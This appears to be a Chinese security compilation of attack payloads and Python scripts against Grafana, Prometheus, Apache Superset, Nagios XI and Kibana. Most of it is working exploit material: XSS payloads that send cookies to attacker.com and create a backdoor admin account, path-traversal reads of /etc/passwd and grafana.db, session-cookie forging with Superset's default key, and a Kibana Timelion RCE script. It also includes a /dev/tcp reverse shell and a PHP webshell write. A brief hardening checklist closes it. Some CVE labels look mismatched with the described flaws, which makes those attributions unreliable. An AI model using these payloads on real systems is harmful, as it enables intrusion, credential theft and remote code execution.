监控与可观测性平台高危攻击链专题：Grafana / Prometheus / Superset / Kibana / Nagios 漏洞全解析

POST /api/dashboards/db HTTP/1.1
Host: target-grafana:3000
Content-Type: application/json
Authorization: Bearer <low_priv_token>

{
  "dashboard": {
    "id": null,
    "title": "XSS Test Panel",
    "panels": [
      {
        "type": "text",
        "title": "{{constructor.constructor('alert(document.cookie)')()}}",
        "description": "{{$on.constructor('fetch(\"//attacker.com/?c=\"+document.cookie)')()}}",
        "id": 1
      }
    ]
  },
  "folderId": 0,
  "overwrite": true
}

// 变体 1：通过 constructor 链获取 Function 对象
{{constructor.constructor('alert(1)')()}}

// 变体 2：通过 $on 事件处理器逃逸
{{$on.constructor('alert(1)')()}}

// 变体 3：外带 Cookie 到攻击者服务器
{{$on.constructor('fetch("//attacker.com/?c="+document.cookie)')()}}

// 变体 4：创建管理员用户（需管理员触发）
{{$on.constructor('fetch("/api/admin/users",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"backdoor",email:"backdoor@evil.com",login":"backdoor",password:"P@ssw0rd123","role":"Admin"})})')()}}

#!/usr/bin/env python3
"""
CVE-2023-4456 / CVE-2023-4821 Grafana Angular XSS 检测
用法: python3 cve_2023_4456.py <target_url> [username] [password]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PAYLOADS = [
    "{{constructor.constructor('alert(1)')()}}",
    "{{$on.constructor('alert(1)')()}}",
    "{{constructor.constructor('var i=new Image();i.src=\"//attacker.com/?\"+document.cookie')()}}",
]

def check_grafana_version(base_url):
    """获取 Grafana 版本信息"""
    try:
        resp = requests.get(f"{base_url}/api/health", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            print(f"[*] Grafana 版本: {data.get('version', '未知')}")
            return data.get('version', '')
    except Exception as e:
        print(f"[!] 无法连接: {e}")
    return ''

def login_and_exploit(base_url, username='admin', password='admin'):
    """使用默认凭证登录并注入 XSS Payload"""
    session = requests.Session()
    session.verify = False

    # 尝试默认凭证登录
    login_resp = session.post(
        f"{base_url}/login",
        json={"user": username, "password": password},
        timeout=10
    )

    if login_resp.status_code != 200:
        print(f"[!] 登录失败 (HTTP {login_resp.status_code})，尝试无认证访问")

    # 创建包含 XSS Payload 的面板
    for idx, payload in enumerate(XSS_PAYLOADS):
        dashboard = {
            "dashboard": {
                "id": None,
                "title": f"XSS-Test-{idx}",
                "panels": [{
                    "type": "text",
                    "title": payload,
                    "id": idx + 1
                }],
                "schemaVersion": 30,
                "version": 0
            },
            "folderId": 0,
            "overwrite": True
        }

        resp = session.post(
            f"{base_url}/api/dashboards/db",
            json=dashboard,
            timeout=10,
            headers={"Content-Type": "application/json"}
        )

        if resp.status_code == 200:
            print(f"[+] Payload {idx} 注入成功: {payload[:60]}...")
            result = resp.json()
            print(f"    面板 URL: {base_url}/d/{result.get('uid', 'N/A')}")
        else:
            print(f"[-] Payload {idx} 注入失败: HTTP {resp.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [username] [password]")
        print(f"示例: {sys.argv[0]} http://grafana:3000 admin admin")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    user = sys.argv[2] if len(sys.argv) > 2 else 'admin'
    passwd = sys.argv[3] if len(sys.argv) > 3 else 'admin'

    check_grafana_version(target)
    login_and_exploit(target, user, passwd)

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target-grafana:3000

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini HTTP/1.1
Host: target-grafana:3000

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db HTTP/1.1
Host: target-grafana:3000

#!/usr/bin/env python3
"""
CVE-2024-9264 Grafana 路径穿越检测
用法: python3 cve_2024_9264.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 常见敏感文件路径（相对于根目录）
SENSITIVE_FILES = [
    ("etc/passwd", "root:"),
    ("etc/grafana/grafana.ini", "grafana"),
    ("var/lib/grafana/grafana.db", "SQLite"),
    ("etc/hostname", ""),
]

# 穿越层数（从 /public/plugins/ 到根目录）
TRAVERSAL = "..%2f" * 10

def check_path_traversal(base_url):
    """检测路径穿越漏洞"""
    print(f"[*] 目标: {base_url}")

    # 先检查 Grafana 是否可达
    try:
        health = requests.get(f"{base_url}/api/health", timeout=10, verify=False)
        if health.status_code == 200:
            version = health.json().get('version', '未知')
            print(f"[*] Grafana 版本: {version}")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    vuln_found = False

    for file_path, indicator in SENSITIVE_FILES:
        url = f"{base_url}/public/plugins/{TRAVERSAL}{file_path}"
        try:
            resp = requests.get(url, timeout=10, verify=False)
            if resp.status_code == 200 and len(resp.text) > 0:
                if indicator == "" or indicator in resp.text:
                    print(f"[VULN] 成功读取: /{file_path}")
                    print(f"       内容预览: {resp.text[:200]}")
                    vuln_found = True
                else:
                    print(f"[???] HTTP 200 但内容不匹配: /{file_path}")
            else:
                print(f"[SAFE] 无法读取: /{file_path} (HTTP {resp.status_code})")
        except Exception as e:
            print(f"[ERR ] 请求失败: {e}")

    return vuln_found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://grafana:3000")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    if check_path_traversal(target):
        print("\n[!] 目标存在路径穿越漏洞，建议立即升级 Grafana")
    else:
        print("\n[*] 未检测到路径穿越漏洞")

id: grafana-path-traversal-cve-2024-9264

info:
  name: Grafana 路径穿越 (CVE-2024-9264)
  author: security-researcher
  severity: medium
  description: |
    Grafana /public/plugins/ 端点路径穿越读取任意文件
  tags: grafana,path-traversal,cve-2024-9264

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "/bin/"
        condition: and
        part: body
      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""
CVE-2023-3428 Grafana OAuth 认证绕过检测
用法: python3 cve_2023_3428.py <target_url>
"""
import sys
import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_oauth_config(base_url):
    """检查 Grafana OAuth 配置"""
    # 检查 Grafana 登录页面获取 OAuth 提供商信息
    try:
        resp = requests.get(f"{base_url}/login", timeout=10, verify=False)
        if resp.status_code != 200:
            print(f"[!] 无法访问登录页面")
            return False

        # 查找 OAuth 按钮
        oauth_providers = re.findall(r'href="(/login/[^"]+)"', resp.text)
        if oauth_providers:
            print(f"[+] 发现 OAuth 提供商:")
            for provider in oauth_providers:
                print(f"    - {provider}")
        else:
            print(f"[*] 未发现 OAuth 登录入口")

        # 检查 Grafana 配置 API（需要认证）
        config_resp = requests.get(
            f"{base_url}/api/admin/config",
            timeout=10, verify=False
        )
        if config_resp.status_code == 200:
            config = config_resp.text
            if 'allowed_organizations' in config:
                print(f"[VULN] 发现 allowed_organizations 配置")
                return True

        return len(oauth_providers) > 0

    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    check_oauth_config(target)

http://target-prometheus:9090/new-ui/<svg/onload=alert(document.domain)>

http://target:9090/new-ui/<img/src=x onerror=alert(document.cookie)>
http://target:9090/new-ui/<svg><script>alert('XSS')</script></svg>
http://target:9090/new-ui/<details/open/ontoggle=alert(1)>

#!/usr/bin/env python3
"""
CVE-2024-6104 Prometheus UI XSS 检测
用法: python3 cve_2024_6104.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PATHS = [
    "/new-ui/<svg/onload=alert(1)>",
    "/new-ui/<img/src=x onerror=alert(1)>",
    "/new-ui/<svg><script>alert(1)</script></svg>",
]

def check_prometheus_xss(base_url):
    """检测 Prometheus UI XSS"""
    print(f"[*] 目标: {base_url}")

    # 检查 Prometheus 是否可达
    try:
        resp = requests.get(f"{base_url}/-/healthy", timeout=10, verify=False)
        if resp.status_code != 200:
            print(f"[!] Prometheus 不可达 (HTTP {resp.status_code})")
            return False
        print(f"[+] Prometheus 可达")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    for path in XSS_PATHS:
        url = f"{base_url}{path}"
        try:
            resp = requests.get(url, timeout=10, verify=False)
            # 检查响应中是否包含未转义的 payload
            if "<svg" in resp.text or "<script>" in resp.text:
                print(f"[VULN] XSS 反射成功: {path}")
                print(f"       响应中包含未转义的 HTML 标签")
                return True
            else:
                print(f"[SAFE] Payload 已被转义: {path}")
        except Exception as e:
            print(f"[ERR ] {e}")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    check_prometheus_xss(target)

id: prometheus-ui-xss-cve-2024-6104

info:
  name: Prometheus 新 UI XSS (CVE-2024-6104)
  author: security-researcher
  severity: high
  description: |
    Prometheus 新版 Web UI 路径参数 XSS
  tags: prometheus,xss,cve-2024-6104

http:
  - method: GET
    path:
      - "{{BaseURL}}/new-ui/<svg/onload=alert(1)>"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg"
          - "onload"
        condition: and
        part: body
      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""
CVE-2023-49923 Apache Superset 默认密钥认证绕过
用法: python3 cve_2023_49923.py <target_url> [admin_user_id]
"""
import sys
import requests
import urllib3
from itsdangerous import URLSafeTimedSerializer
from flask import Flask

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Superset 默认 SECRET_KEY
DEFAULT_SECRET = 'thisISaSECRET_1234'

def forge_session_cookie(secret_key, user_id=1):
    """使用指定密钥伪造 Superset 会话 Cookie"""
    app = Flask(__name__)
    app.config['SECRET_KEY'] = secret_key

    serializer = URLSafeTimedSerializer(
        secret_key,
        salt='session'
    )

    # 构造会话数据（Flask session 格式）
    session_data = {
        "_user_id": str(user_id),
        "_id": "_".join([str(user_id), "admin"]),
    }

    # 生成签名 Cookie
    cookie_value = serializer.dumps(session_data)
    return cookie_value

def exploit(target_url, user_id=1):
    """利用默认密钥伪造管理员会话"""
    print(f"[*] 目标: {target_url}")
    print(f"[*] 使用默认 SECRET_KEY: {DEFAULT_SECRET}")
    print(f"[*] 伪造用户 ID: {user_id}")

    # 伪造会话 Cookie
    cookie_value = forge_session_cookie(DEFAULT_SECRET, user_id)
    print(f"[+] 伪造的 Session Cookie: {cookie_value[:80]}...")

    # 使用伪造的 Cookie 访问 Superset
    session = requests.Session()
    session.cookies.set('session', cookie_value)
    session.verify = False

    # 验证是否成功以管理员身份登录
    resp = session.get(
        f"{target_url}/api/v1/me/",
        timeout=10,
        headers={"Content-Type": "application/json"}
    )

    if resp.status_code == 200:
        data = resp.json()
        print(f"[VULN] 认证成功！当前用户信息:")
        print(f"       用户名: {data.get('result', {}).get('username', 'N/A')}")
        print(f"       角色: {data.get('result', {}).get('roles', 'N/A')}")

        # 尝试获取数据源列表
        ds_resp = session.get(
            f"{target_url}/api/v1/dataset/",
            timeout=10
        )
        if ds_resp.status_code == 200:
            datasets = ds_resp.json().get('result', [])
            print(f"[+] 发现 {len(datasets)} 个数据源")
            for ds in datasets[:5]:
                print(f"    - {ds.get('table_name', 'N/A')} ({ds.get('database', {}).get('database_name', 'N/A')})")

        return True
    else:
        print(f"[-] 认证失败 (HTTP {resp.status_code})")
        print(f"    目标可能已修改 SECRET_KEY")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [admin_user_id]")
        print(f"示例: {sys.argv[0]} http://superset:8088 1")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    uid = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    exploit(target, uid)

id: superset-default-secret-cve-2023-49923

info:
  name: Apache Superset 默认 SECRET_KEY 认证绕过 (CVE-2023-49923)
  author: security-researcher
  severity: critical
  description: |
    Apache Superset 使用默认硬编码 SECRET_KEY 导致会话伪造
  tags: superset,auth-bypass,cve-2023-49923,default-key

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Apache Superset"
          - "superset"
        condition: or
        part: body
      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""
CVE-2023-40913 Nagios XI 认证绕过检测
用法: python3 cve_2023_40913.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_nagios_auth_bypass(base_url):
    """检测 Nagios XI 认证绕过"""
    print(f"[*] 目标: {base_url}")

    # 检查 Nagios XI 是否存在
    try:
        resp = requests.get(f"{base_url}/nagiosxi/", timeout=10, verify=False)
        if "Nagios XI" not in resp.text and "nagiosxi" not in resp.text.lower():
            print(f"[*] 目标可能不是 Nagios XI")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    # 尝试无认证访问管理端点
    admin_endpoints = [
        "/nagiosxi/api/v1/system/status",
        "/nagiosxi/api/v1/objects/host",
        "/nagiosxi/includes/components/profiles/profiles.php",
        "/nagiosxi/admin/users.php",
    ]

    vuln_found = False
    for endpoint in admin_endpoints:
        try:
            resp = requests.get(
                f"{base_url}{endpoint}",
                timeout=10,
                verify=False,
                allow_redirects=False
            )

            if resp.status_code == 200 and "login" not in resp.url.lower():
                print(f"[VULN] 无认证访问成功: {endpoint}")
                print(f"       响应长度: {len(resp.text)} 字节")
                vuln_found = True
            elif resp.status_code in [301, 302]:
                location = resp.headers.get('Location', '')
                if 'login' not in location.lower():
                    print(f"[VULN] 重定向未跳转到登录页: {endpoint}")
                    vuln_found = True
                else:
                    print(f"[SAFE] 需要认证: {endpoint}")
            else:
                print(f"[SAFE] 需要认证: {endpoint} (HTTP {resp.status_code})")
        except Exception as e:
            print(f"[ERR ] {endpoint}: {e}")

    return vuln_found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    if check_nagios_auth_bypass(target):
        print("\n[!] 目标存在认证绕过漏洞，建议立即升级 Nagios XI")
    else:
        print("\n[*] 未检测到认证绕过漏洞")

id: nagios-xi-auth-bypass-cve-2023-40913

info:
  name: Nagios XI 认证绕过 (CVE-2023-40913)
  author: security-researcher
  severity: critical
  description: |
    Nagios XI 认证机制缺陷导致未授权访问管理功能
  tags: nagios,auth-bypass,cve-2023-40913

http:
  - method: GET
    path:
      - "{{BaseURL}}/nagiosxi/api/v1/system/status"
      - "{{BaseURL}}/nagiosxi/api/v1/objects/host"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "status"
          - "host"
          - "nagios"
        condition: or
        part: body
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        part: body
        regex:
          - '"version":"[^"]*"'

POST /api/timelion/run HTTP/1.1
Host: target-kibana:5601
Content-Type: application/json
kbn-version: 6.5.4

{"sheet":[".es(*).label(\"test\").points(1).lines().yaxis(1).color(\"#ff0000\").exec(\"require('child_process').execSync('id > /tmp/pwned')\")"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}

// 基础 RCE — 执行 id 命令
.es(*).label("rce").exec("require('child_process').execSync('id')")

// 反弹 Shell
.es(*).label("shell").exec("require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1')")

// 读取 /etc/passwd
.es(*).label("read").exec("require('child_process').execSync('cat /etc/passwd').toString()")

// 写入 WebShell（如果 Kibana 与 Web 服务同机部署）
.es(*).label("webshell").exec("require('child_process').execSync('echo <?php system($_GET[c]);?> > /var/www/html/shell.php')")

#!/usr/bin/env python3
"""
CVE-2019-7609 Kibana Timelion RCE
用法: python3 cve_2019_7609.py <target_url> [command]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_kibana_version(base_url):
    """检查 Kibana 版本"""
    try:
        resp = requests.get(f"{base_url}/api/status", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get('version', {}).get('number', '未知')
            print(f"[*] Kibana 版本: {version}")
            return version
    except Exception as e:
        print(f"[!] 连接失败: {e}")
    return None

def exploit_timelion(base_url, command='id'):
    """通过 Timelion 表达式执行命令"""
    # 构造恶意 Timelion 表达式
    payload = {
        "sheet": [
            f".es(*).label(\"rce\").exec(\"require('child_process').execSync('{command}').toString()\")"
        ],
        "time": {
            "from": "now-15m",
            "to": "now",
            "mode": "quick",
            "interval": "auto"
        }
    }

    try:
        resp = requests.post(
            f"{base_url}/api/timelion/run",
            json=payload,
            timeout=15,
            verify=False,
            headers={
                "Content-Type": "application/json",
                "kbn-version": "6.5.4"
            }
        )

        if resp.status_code == 200:
            data = resp.json()
            # 从响应中提取命令执行结果
            series = data.get('sheet', [{}])
            for s in series:
                label = s.get('label', '')
                if label and label != 'rce':
                    print(f"[+] 命令执行结果: {label}")
                    return True

            # 尝试从 list 字段提取
            result_list = data.get('list', [])
            if result_list:
                print(f"[+] 命令执行结果: {json.dumps(result_list, indent=2)[:500]}")
                return True

            print(f"[*] 请求成功但无法提取回显，命令可能已执行")
            return True
        else:
            print(f"[-] 请求失败: HTTP {resp.status_code}")
            print(f"    响应: {resp.text[:200]}")
            return False

    except Exception as e:
        print(f"[!] 请求异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} http://kibana:5601 id")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    cmd = sys.argv[2] if len(sys.argv) > 2 else 'id'

    version = check_kibana_version(target)
    if version:
        print(f"[*] 正在执行命令: {cmd}")
        exploit_timelion(target, cmd)

id: kibana-timelion-rce-cve-2019-7609

info:
  name: Kibana Timelion RCE (CVE-2019-7609)
  author: security-researcher
  severity: critical
  description: |
    Kibana Timelion 表达式注入导致远程代码执行
  tags: kibana,elastic,rce,cve-2019-7609,timelion

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/timelion/run"
    body: |
      {"sheet":[".es(*).label(\"test\")"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}
    headers:
      Content-Type: application/json
      kbn-version: "6.5.4"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "sheet"
          - "seriesList"
        condition: or
        part: body
      - type: status
        status:
          - 200

# Grafana XSS
nuclei -u http://target:3000 -tags grafana,xss
curl -s "http://target:3000/api/health" | jq '.version'

# Grafana 路径穿越
nuclei -u http://target:3000 -tags grafana,path-traversal
curl -s "http://target:3000/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

# Prometheus XSS
nuclei -u http://target:9090 -tags prometheus,xss
curl -s "http://target:9090/-/healthy"

# Apache Superset
nuclei -u http://target:8088 -tags superset
curl -s "http://target:8088/login/" | grep -i "superset"

# Nagios XI
nuclei -u http://target:80 -tags nagios
curl -s "http://target/nagiosxi/api/v1/system/status"

# Kibana Timelion
nuclei -u http://target:5601 -tags kibana,rce
curl -s "http://target:5601/api/status" | jq '.version.number'

# 1. 检查 Grafana 版本和配置
curl -s http://localhost:3000/api/health | jq .
grep -r "allowed_organizations" /etc/grafana/

# 2. 检查 Superset SECRET_KEY 是否已修改
grep "SECRET_KEY" /app/superset_config.py
# 如果输出为 'thisISaSECRET_1234' 则存在风险

# 3. 检查 Prometheus 版本
prometheus --version

# 4. 检查 Kibana 版本和认证配置
curl -s http://localhost:5601/api/status | jq '.version'
grep "xpack.security" /etc/kibana/kibana.yml

# 5. 检查 Nagios XI 版本
cat /usr/local/nagiosxi/var/xiversion

# 6. 检查所有监控平台是否暴露在互联网
# 使用 Shodan / FOFA / Hunter 搜索
# Shodan: "grafana" port:3000
# Shodan: "prometheus" port:9090
# FOFA: app="APACHE-Superset"